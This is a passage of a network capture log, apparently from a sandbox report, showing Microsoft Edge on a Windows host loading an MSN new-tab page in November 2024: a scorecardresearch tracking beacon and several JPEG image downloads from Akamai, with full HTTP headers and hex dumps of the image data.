75	192.168.2.5	49858	108.156.211.59	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	1012	OUT	GET /b2?rn=1731683788796&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=078A6178E4B266BF224E7440E5C7676D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1E9e8d515a1831b070feb5a1731683790; XID=1E9e8d515a1831b070feb5a1731683790
2024-11-15 15:16:31 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Fri, 15 Nov 2024 15:16:31 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a0ced2c61430bc862fa4fd815b7da596.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: Peb-knH5upNH407MCBRLxP-nNstdyer22DDcV3C7BofxVfyn-Bk_mw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49861	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:31 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ9 Last-Modified: Sun, 10 Nov 2024 15:53:48 GMT X-Source-Length: 54392 X-Datacenter: eastap X-ActivityId: 1a2d2029-86ff-490c-8a22-ddeb1e91d4e1 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 54392 Cache-Control: public, max-age=391047 Expires: Wed, 20 Nov 2024 03:53:58 GMT Date: Fri, 15 Nov 2024 15:16:31 GMT Connection: close
2024-11-15 15:16:31 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: fc ce 6f 4c de 99 2c 95 67 6b 1e 84 3e e1 e2 f1 c1 25 d9 ea bf 73 b3 77 8c e1 f6 e3 71 78 df 44 ba f9 f2 3c 27 b6 2f 48 cf 08 bc eb 9e 7c 47 11 36 db dc 9a d7 24 e9 7d 0d b7 c5 71 1b 57 53 7a ff 00 97 8b da 1f d1 27 d1 37 91 9d a3 6d 7d c7 76 37 ea 25 b9 cb f4 d3 f8 2c 80 6e 71 fc 44 f2 6a 0b b2 fe 59 bd 12 3d 12 71 8b ca b9 d7 13 c4 c5 e9 bb 27 e7 af b4 37 fd 43 88 5f e2 fe 03 f4 49 7b 25 c8 9b 4b fe a1 c4 5e 50 ae 54 ff 00 73 ab 6b ee 29 c9 29 ed b5 6d 2b 4e fd a7 23 d9 34 76 3c 51 f3 5e d3 37 ac ca d4 ed 76 3e 95 4b b0 55 2e c4 a8 04 50 67 0c 6d 69 a2 d3 5c 85 81 94 a0 c6 41 49 ae 45 ac 2c 9c 0c d3 96 de cc 71 6e 49 45 5a 5e 6d f4 46 5a 19 24 78 3f 74 fb b6 d7 07 07 0d af 16 ec be 57 5e 18 e6 9c af f5 55 74 d2 cf 2b ee 5f 79 c4 fd 0e 12 55 76 a7 b9 96 Data Ascii: oL,gk>%swqxD<'/H\|G6$}qWSz'7m}v7%,nqDjY=q'7C_I{%K^PTsk))m+N#4v<Q^7v>KU.Pgmi\AIE,qnIEZ^mFZ$x?tW^Ut+_yUv
2024-11-15 15:16:31 UTC	1783	IN	Data Raw: 27 17 e1 ef 9b 57 4f 2d 35 79 de 87 e7 9a 75 5a 91 4d bc 8e 7f 6f 66 f8 47 dd ee 7f dc bb 31 c5 18 6c ce 54 e4 94 ad 24 d2 f9 5f 3d 73 67 9f ff 00 f9 3f 17 51 51 db da 8a 5a 3c f5 b3 e5 5e dc aa ea 84 95 12 f7 ed 7d 56 75 91 fa 14 7f ee 9d b5 b2 b1 6c 49 ee 52 ca 49 46 d7 5c af 5c cf 9f e3 fe f7 c5 71 b5 14 f0 46 db a5 a6 b6 dc 7c da 5c f9 1e 0d c4 96 67 95 5c 87 2c 57 89 b6 db ea d8 ad af 31 b9 36 6a 32 a7 89 b4 c9 a3 51 82 2d 52 05 26 51 21 49 30 aa bc 98 34 32 82 26 f9 d9 69 27 d5 2f 61 cc c2 46 5a 6b fe 84 15 28 b4 0c e8 b4 bb a2 1c 7a a2 a0 43 a3 18 a8 66 31 80 42 28 c4 c1 23 19 54 45 8d 09 cb 6e 49 c5 d3 47 ab b1 c5 bb 4e dc 26 9d c6 4b 46 9f 34 79 4e 86 8b aa fd a7 ed 9f 72 db fb 86 ca 84 9d 6f ed c5 63 5d 27 d3 14 7c fa ae 67 a3 2d 0f c3 b6 b7 e7 Data Ascii: 'WO-5yuZMofG1lT$_=sg?QQZ<^}VulIRIF\\qF\|\g\,W16j2Q-R&Q!I042&i'/aFZk(zCf1B(#TEnIGN&KF4yNroc]'\|g-
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 8e 95 13 83 6a b1 f8 9f fa f4 3b a5 71 55 97 5f 7e a6 a2 61 c6 50 bb 6d af 85 9d 4f 7a 12 8d 3b d1 69 91 e6 96 54 5c 2e 57 d8 e9 8f 87 4b fe 40 6d cb 04 d3 cf a3 09 2f 0e e7 c4 a8 e8 c3 77 d8 f7 78 69 c6 51 8a 49 e2 4b 0c 96 69 aa fe 7a f7 3c 28 bf 16 87 a5 c2 ce 3b 73 f1 2f 0c b4 eb 97 e7 32 af 5b e5 d3 3e 1e 49 e9 6a ee 9d 6b a7 6e 7c c9 a6 b4 67 5a 84 f6 b7 d4 d3 b8 ad 3b eb 9b a0 7b 9f 34 a9 67 f2 df 46 46 ac 52 a9 a4 92 6d a4 ef c8 e5 96 9a 74 3a b8 79 5c e2 de 97 9f 40 5b d0 a9 b3 6e 76 23 65 78 d3 ab a7 67 ad 85 db ac d6 ab f6 4c f1 ad c3 55 99 ea 6c 62 dc db 93 bd 60 d7 b9 ff 00 06 7b 2f 5f 61 a3 c4 2c 78 65 e1 e4 ff 00 73 bd 4a 2a 37 4b 12 f7 3b e8 78 fb d0 f0 e3 8f 3a 7d 8e ae 16 4b 75 38 49 d3 59 77 f3 33 67 8d 74 eb 7c e0 f2 db b5 69 51 cb 78 Data Ascii: j;qU_~aPmOz;iT\.WK@m/wxiQIKiz<(;s/2[>Ijkn\|gZ;{4gFFRmt:y\@[nv#exgLUlb`{/_a,xesJ*7K;x:}Ku8IYw3gt\|iQx
2024-11-15 15:16:31 UTC	3976	IN	Data Raw: 63 01 8e 88 dd 61 8e 8d e6 ff 00 80 0b 30 f6 ac 09 71 a1 16 dd af 6b 26 9f 2c c0 a8 67 6c a6 f9 8b b1 a3 17 3b f6 f4 40 4b 09 1d 89 49 62 75 15 f5 f7 05 f4 94 53 b6 b4 eb 44 cf 72 fc 31 c8 2a 70 c2 2a d5 d9 51 78 b3 59 f5 e5 a0 07 25 a6 7f c0 af a8 57 5f a8 a2 ef 37 d2 c4 f7 1b 79 9c 97 d4 69 d8 41 dc f4 a6 0d b0 6f cc 4c 0a 6c b4 0a 36 e5 e4 1d 73 01 37 41 36 d7 ea 7f 00 15 61 db c2 92 e4 14 47 26 c6 9b 1c 20 e4 b1 3d 02 c7 6a 4f 59 3c 11 e6 f3 7e 4b f2 80 2a e2 77 df 87 13 9f 25 24 a7 ff 00 ad 33 b2 13 db 8a 6f 71 db 7f a6 09 25 ef fc 28 e1 9e fe de dc 70 c1 25 df af 9b 7f 9a 3c df 51 e1 ac d9 07 b5 ea 70 f7 6d 4f 4c 96 28 a5 5f fd 59 b7 38 bd a7 b4 b6 e3 15 86 16 e2 b1 37 af 37 55 6f bb b3 c3 c4 c6 9f 6f 78 5d 76 c6 73 f4 b7 7c 55 17 86 4e 2b 4b 72 d2 Data Ascii: ca0qk&,gl;@KIbuSDr1pQxY%W_7yiAoLl6s7A6aG& =jOY<~K*w%$3oq%(p%<QpmOL(_Y877Uoox]vs\|UN+Kr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49862	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:31 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 28 Sep 2024 15:02:27 GMT X-Datacenter: westus X-ActivityId: 12066e15-e545-4cb6-be0a-e5f982d5ccfe Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0W X-Source-Length: 87332 Content-Length: 87332 Cache-Control: public, max-age=172166 Expires: Sun, 17 Nov 2024 15:05:57 GMT Date: Fri, 15 Nov 2024 15:16:31 GMT Connection: close
2024-11-15 15:16:31 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: c5 0f 56 17 26 a2 a5 49 f1 2f 75 d9 17 5a 7b c7 aa 3a c4 4c 82 b8 92 a5 48 e2 3d d7 6b a8 de 28 ab 07 62 b8 d5 a7 52 5c 15 ee bb 55 29 52 e3 f5 0f 14 62 eb 92 e2 bf 76 1d 6a 93 a9 72 fa a5 3e a1 e2 97 13 f7 61 d4 a8 a2 a9 72 ba 87 8a 9d 44 71 57 bb 0e ad 65 4a ca e6 9b b2 87 a8 ee 25 2e 27 ee c3 a7 59 52 b2 b9 a2 e1 08 fa a1 1c 4f dc f9 6e ea 14 eb 58 3a 81 17 50 71 4f 8f c0 e7 f2 db 5a 95 ac 95 8e 2a 56 12 af 85 73 f9 6b ea 15 2b 59 6a 09 56 38 84 ab e0 f9 fc b5 d6 a5 6b 25 61 4a c2 28 b9 b5 56 53 ac ac b5 21 ad 14 7c 9b 2b 4e b5 ce 2f 29 03 e3 f9 a7 47 19 4e 8e 85 68 ab 5c 8a cc c3 79 bf 25 a4 38 01 99 2e ee 36 01 44 ce 30 d6 23 29 dd be b5 2b 58 58 5c f7 86 34 4c e4 9d c3 47 13 dd 6b b8 d6 31 c1 a1 ff 00 1c 19 f4 f1 ec 95 e3 74 38 e5 31 6b 6b 2a 56 54 Data Ascii: V&I/uZ{:LH=k(bR\U)Rbvjr>arDqWeJ%.'YROnX:PqOZVsk+YjV8k%aJ(VS!\|+N/)GNh\y%8.6D0#)+XX\4LGk1t81kkVT
2024-11-15 15:16:31 UTC	2147	IN	Data Raw: c2 ef fb 4d cf f9 2d 81 8a 84 66 70 bd 25 fd 1d ab cd a5 cc 6c 0d bc 3d 16 4b 5a 0b 3a 56 b8 db 6c 38 b4 89 24 9f c0 4b 1c 67 1c ac 65 31 38 d7 77 84 be f7 39 ef 24 48 2e 3e 00 99 31 3f 88 2b d3 db bc 47 b5 3b 06 a0 d7 33 e7 e0 38 1c af 23 79 ee 1c b3 3c 62 63 1b 0e 18 f0 5e a3 db d8 db ba 40 c7 49 04 b8 9c f8 f6 e0 a3 0d f2 cb d2 4f 39 e3 11 eb 0d 3a 36 58 d6 e9 ad b2 ec 12 c9 03 39 86 91 f5 d8 80 bb 54 da d0 e9 9f d3 11 4b 4d 24 e7 3d b7 5e 12 d5 df db 5f 75 c6 e0 36 b0 07 ac c4 ef fe 61 76 4e a8 bf db 8c 46 5e fb 64 e4 6f cd 38 3e 3f a8 c2 b8 ca 3e f5 fd 8a 62 63 d3 ff 00 ae 46 b3 55 d7 be cb 8e 30 43 18 4e 24 d4 d0 0e 27 10 4e 76 5b fd d2 ff 00 56 e3 4f 60 cd b8 12 b9 4d a4 1b 75 09 d8 c7 01 dc ed 2b 67 b8 b6 9b bc a3 96 91 49 de 64 7e 6b 3e d9 7a c2 Data Ascii: M-fp%l=KZ:Vl8$Kge18w9$H.>1?+G;38#y<bc^@IO9:6X9TKM$=^_u6avNF^do8>?>bcFU0CN$'Nv[VO`Mu+gId~k>z
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 1f b2 24 f0 2a dd 6d e0 2e 1a 4c 40 21 b8 39 ef be c0 6d f1 5c 6a 83 83 6e 03 2e 73 5c d2 3b f2 9e 3e 32 b4 99 de 58 46 d1 0b 5d ff 00 1d 98 11 51 9e dd 8c ce c0 67 30 b5 1b c5 c2 f5 3f e9 df f4 ff 00 29 b6 d3 af e9 2a 18 e8 8c 18 f3 11 b8 e2 21 b2 73 dd 72 b4 d2 2e 3a 60 d2 46 d9 1b 1f 1c e4 a8 95 ee b2 e5 83 43 03 89 a9 f3 50 c7 2c 1c 1f 86 e8 5f 36 ed 3c 02 69 a8 36 a8 8a a3 c2 61 7a 06 59 ea 33 4f a8 73 83 9b 75 ef b5 4f ea a9 ac 9a a3 86 21 4b de d4 cb 9e 47 b9 b2 66 3b 27 8c 72 8b 84 e5 3c 72 df 6d 9c 3d 13 4d b7 17 38 37 23 0e 74 f1 dd b1 df 82 bb 45 6e d3 c5 cb af 7b 8b ad bc 40 dc 3a 78 cb 7c 17 47 51 a2 a7 a6 03 e9 37 6a 6b 49 ed 03 3c 37 d8 2e 5b ad f4 00 b6 d3 2e 1c a6 27 ed 6e 7f f2 84 ea 8a 26 e1 ba f5 e0 c6 d9 0d 93 51 ef 1d 8c 0f af 74 44 Data Ascii: $m.L@!9m\jn.s\;>2XF]Qg0?)!sr.:`FCP,_6<i6azY3OsuO!KGf;'r<rm=M87#tEn{@:x\|GQ7jkI<7.[.'n&QtD
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 3b 2e fe 86 ed ce 8d c8 0e 77 38 0c 02 24 e7 23 80 9c 99 ff 00 75 ca f7 29 6d cb 6d 68 14 35 81 8d 70 02 93 de 4c 72 b4 c7 36 fb 39 6b d1 8b 6e 6d 0f 73 1b 6d a0 f3 09 82 48 34 80 c0 e0 4f 78 26 4c 9e e5 65 0b de 26 9d 8d 7d a0 6c 31 96 5a 45 34 e0 39 c0 07 3a 72 39 aa 2c 02 65 d1 bc 60 2f 1a 19 7e dd ca 6f 36 e3 0b a6 6a 04 4e 47 36 60 76 f5 ca f6 8f 7b ae 59 b7 55 de 88 73 88 bb 73 7b b3 6c 0a 5e 36 2d 2e 9c 6c 18 d0 27 65 eb f4 cf 66 a3 4f 6d e2 08 73 7b 89 f8 ef 9e 3e 28 c5 5e 48 ba f4 7c ea f5 d1 72 cd b7 44 3d ef 2c 74 6f 92 03 72 37 c3 49 1c 30 51 1b 8d 75 e8 cd 21 85 c0 d4 49 34 b7 cd 9c 97 76 f4 ec bd f3 f4 5a 67 64 d9 b7 bc e1 b0 67 c0 88 3e bc 57 39 de d5 a4 79 91 6e 98 69 6e 0c 82 3c 43 a7 3f 82 b5 a6 37 4f 14 da 5f a8 37 40 69 65 ba 00 a8 45 Data Ascii: ;.w8$#u)mmh5pLr69knmsmH4Ox&Le&}l1ZE49:r9,e`/~o6jNG6`v{YUss{l^6-.l'efOms{>(^H\|rD=,tor7I0Qu!I4vZgdg>W9ynin<C?7O_7@ieE
2024-11-15 15:16:31 UTC	7952	IN	Data Raw: 95 cf e4 96 de 3d 1c d9 75 55 b4 c3 9a 49 2e 18 87 4e e2 3b cf 05 f6 0d 33 c3 ec db 21 fd 4e 51 cd dc 98 cc f8 ce fe 2b e7 ac f6 d1 76 d3 1c 0b aa 70 f2 48 a8 ba 4e 4f 80 11 27 c2 22 4a f7 b6 22 de 9e dd 51 53 58 d0 ea 66 24 0f e9 13 f2 53 e2 89 8b 69 e4 ec af 5c 5c 19 38 a7 b8 ce 79 86 30 72 08 3e ab 76 94 f5 2d b2 93 5e 37 12 47 d0 90 0c 2f 2d a9 ba db 97 0d 73 20 4c 36 79 43 79 b6 25 a4 ed 24 9e 11 0b d2 7b 65 db 7f b7 86 39 a4 c9 26 05 3b 9d c8 18 f0 31 85 a5 ef 29 ec e9 f4 8f 72 02 ca d7 55 71 cc e1 b1 91 07 d2 37 57 dc b9 0d 26 7f 3f bb 2b cd 36 f3 6d 5c ad ef aa 24 12 1b b9 e0 48 18 a4 76 8d b2 ae 66 4b 66 8d 75 ea 00 87 5b 20 f7 90 69 20 ee 44 83 4f 63 07 13 95 e3 03 eb 78 6b 1c 61 d7 5b 54 62 09 fb 2e 35 13 89 cb bb f6 5d 2f 74 bd 6e e3 83 ec dc Data Ascii: =uUI.N;3!NQ+vpHNO'"J"QSXf$Si\\8y0r>v-^7G/-s L6yCy%${e9&;1)rUq7W&?+6m\$HvfKfu[ i DOcxka[Tb.5]/tn
2024-11-15 15:16:31 UTC	12216	IN	Data Raw: 98 95 e8 68 b6 eb b6 de 2b 74 10 5e e7 00 03 bc b0 e8 9e 59 c9 6f 7d c0 88 46 6d ea 03 dd c8 74 f6 f9 9d 2c a6 e8 26 70 5b 37 04 97 76 c9 f4 90 8c a5 b6 38 e8 3d 3d d1 72 28 b9 43 5a d2 1f a9 0d a5 c1 c5 b8 04 92 e6 b8 c4 72 01 1b 49 19 5e 67 5b 41 a1 8f be 5f 71 84 08 b9 6a 1c 1b 93 cd 93 81 f6 24 0c ae b4 30 69 e3 24 32 e0 7b b2 de a5 cd e1 c4 09 2c a4 6c 24 f7 55 bf db 5b 75 b7 1f 6e cb 9e 5b fd db 85 d7 5a 4b 83 8c 82 20 12 d0 40 74 83 df ba c3 bb a7 2f e2 3d 2f 51 cc 73 2d d4 e9 0e e9 9e 9b 58 eb ac fd 61 ae 24 16 b0 4e 33 e8 b1 35 b4 5e 0d 73 5b 70 b3 fb 6e 68 27 98 87 10 1d 38 18 04 01 9d b7 28 4d cf ec b6 5c 6d 93 04 96 90 5d b8 14 37 1d bb 97 13 b2 b9 97 1c 2e 65 a7 9c 5c 20 4c 07 54 25 a0 87 02 25 b8 a8 08 90 42 d9 cd 72 ae fd c3 0f b8 5d 50 27 Data Ascii: h+t^Yo}Fmt,&p[7v8==r(CZrI^g[A_qj$0i$2{,l$U[un[ZK @t/=/Qs-Xa$N35^s[pnh'8(M\m]7.e\ LT%%Br]P'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49864	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:31 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:31 UTC	518	IN	HTTP/1.1 200 OK Last-Modified: Wed, 02 Oct 2024 04:14:12 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: c23eec77-42c7-4780-9ed9-9f5c2ecaf25e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQA X-Source-Length: 67183 Content-Length: 67183 Cache-Control: public, max-age=96484 Expires: Sat, 16 Nov 2024 18:04:35 GMT Date: Fri, 15 Nov 2024 15:16:31 GMT Connection: close
2024-11-15 15:16:31 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 5f 5b a3 b9 4e 4b 44 b6 25 ed b9 ea c3 8b fa b2 eb f0 8a 5d d8 7f 89 9f 01 1f a8 f1 90 dd 5e a7 3b bf cc f5 69 fd 77 8c 86 f7 19 ad 71 f7 58 e3 38 65 d6 32 eb 19 c4 76 fb b8 f1 dc 5f 2b 81 ab cc d3 f9 9d 2b 8e ab ff 00 e9 f1 1d 91 f7 9f 25 0f f8 89 f2 e8 df f6 65 ef 47 a3 1f f8 83 87 7d 68 54 8f 32 7e d3 8c e1 97 fe 5d 63 3c 7b 7b 6f 8e ad ff 00 e9 f1 1f e5 f7 87 df 78 9c b8 2a dc f2 82 f6 9c b1 fa cf 05 2f ee 5b bd 35 ec 3b a3 f5 0e 16 5b ab 43 fa 91 ce a7 ff 00 3f 9b 77 1d b9 5f 17 c7 be af 05 db 51 18 f9 df 56 93 c3 87 a3 1e f9 7f f9 1e da e2 29 cb 74 a2 fb 9a 35 f3 23 a4 5f a4 2f f2 f0 94 be ae f9 3c 3a e7 7e f3 b6 9a e3 ef eb fb bd b5 39 df e4 7a 3b 6b 49 5b 68 97 e9 05 2a d2 d2 3b 3d 24 6d 0f 68 c2 aa c3 b1 37 0b 90 55 86 4d ca b8 0c 04 30 18 c9 18 Data Ascii: _[NKD%]^;iwqX8e2v_++%eG}hT2~]c<{{ox/[5;[C?w_QV)t5#_/<:~9z;kI[h;=$mh7UM0
2024-11-15 15:16:31 UTC	2357	IN	Data Raw: b7 b6 cc ca 6c cc ac 90 00 82 19 23 00 a0 43 11 00 00 05 00 08 40 30 10 ca c8 10 ee 22 d0 60 20 2a 18 80 45 4b 50 12 32 80 04 74 c6 94 e6 d5 90 1c e0 7b 74 f8 29 3c 5e af 8e 8d 27 ad 0e 16 9c 15 f7 ee df d3 e4 73 9c e1 bd 66 5f 2f 1a 53 96 47 a7 0e 06 4d bd ae 4d ae bf 1f 99 f4 f0 82 4d d9 62 96 36 cb bb 28 fc cc d6 29 46 1b 32 57 eb 3f cb 8f 8a 5f 69 eb 39 4e 73 2e b1 84 38 69 f0 74 e2 d5 f1 ba 78 e4 b4 24 b7 b6 f2 6f 2c 4f 42 9d 28 a5 18 da db 56 95 45 9b b6 4d f2 62 81 cf cc bf 96 fd 2a fb 55 e5 9e 1c 9b e5 95 fb 05 1f 54 56 cf a6 92 b4 a7 52 78 39 db 3c 79 37 ed ee 39 4c cb a4 44 43 aa 36 bc f3 7b 4e 4a 3b ba db 95 fa 59 09 3b 6c df 7a 84 dd 92 e5 4b d2 9b 5a 37 da e6 49 ed 47 6a 2f 62 9a 77 95 49 61 29 e3 8b 57 dd 7d 2f 17 90 ef 75 b5 1f d3 86 e7 39 Data Ascii: l#C@0"` EKP2t{t)<^'sf_/SGMMMb6()F2W?_i9Ns.8itx$o,OB(VEMbUTVRx9<y79LDC6{NJ;Y;lzKZ7IGj/bwIa)W}/u9
